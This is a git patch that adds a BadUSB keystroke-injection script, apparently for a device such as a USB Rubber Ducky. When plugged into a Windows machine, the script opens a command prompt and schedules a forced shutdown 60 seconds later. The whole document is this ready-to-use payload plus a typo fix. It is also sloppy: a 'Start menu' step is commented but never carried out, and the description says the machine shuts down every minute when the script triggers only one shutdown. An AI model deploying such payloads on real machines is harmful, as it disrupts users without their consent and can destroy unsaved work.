From ce0fcd7b6751a6841e881484461e51437b50f48c Mon Sep 17 00:00:00 2001 From: FKPegasus <88468381+FKPegasus@users.noreply.github.com> Date: Sun, 24 Dec 2023 03:10:41 -0400 Subject: [PATCH 1/2] 1_minute_to_sleep MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit This Windows script, created by Mr. Black, opens the Command Prompt and schedules a system shutdown after one minute ⌛️. It is important to use scripts of this type ethically and legally ⚠️. --- BadUSB/1_minute_to_sleep | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 BadUSB/1_minute_to_sleep diff --git a/BadUSB/1_minute_to_sleep b/BadUSB/1_minute_to_sleep new file mode 100644 index 00000000..a61fc753 --- /dev/null +++ b/BadUSB/1_minute_to_sleep @@ -0,0 +1,15 @@ +REM Author: Mr.Black (mrblack0 on Discord) +REM Description: Shut down your computer every 1 minute, Windows 10+ only +REM Version: 1.0 +REM Category: Execution +DELAY 500 +REM Open the Start menu +DELAY 500 +REM Type "cmd" and press Enter to open the Command Prompt +STRING cmd +ENTER +DELAY 500 +REM Wait to ensure that the Command Prompt is open +REM Type the scheduled shutdown command (1 minutes = 60 seconds) +STRING shutdown /s /t 60 +ENTER From 78db31a1d42e6bf3a3f45dd2cacd3bbcb169c261 Mon Sep 17 00:00:00 2001 From: "Mr.Black" <88468381+FKPegasus@users.noreply.github.com> Date: Sun, 24 Dec 2023 03:33:49 -0400 Subject: [PATCH 2/2] Update 1_minute_to_sleep --- BadUSB/1_minute_to_sleep | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/BadUSB/1_minute_to_sleep b/BadUSB/1_minute_to_sleep index a61fc753..19351b67 100644 --- a/BadUSB/1_minute_to_sleep +++ b/BadUSB/1_minute_to_sleep @@ -10,6 +10,6 @@ STRING cmd ENTER DELAY 500 REM Wait to ensure that the Command Prompt is open -REM Type the scheduled shutdown command (1 minutes = 60 seconds) +REM Type the scheduled shutdown command (1 minute = 60 seconds) STRING shutdown /s /t 60 ENTER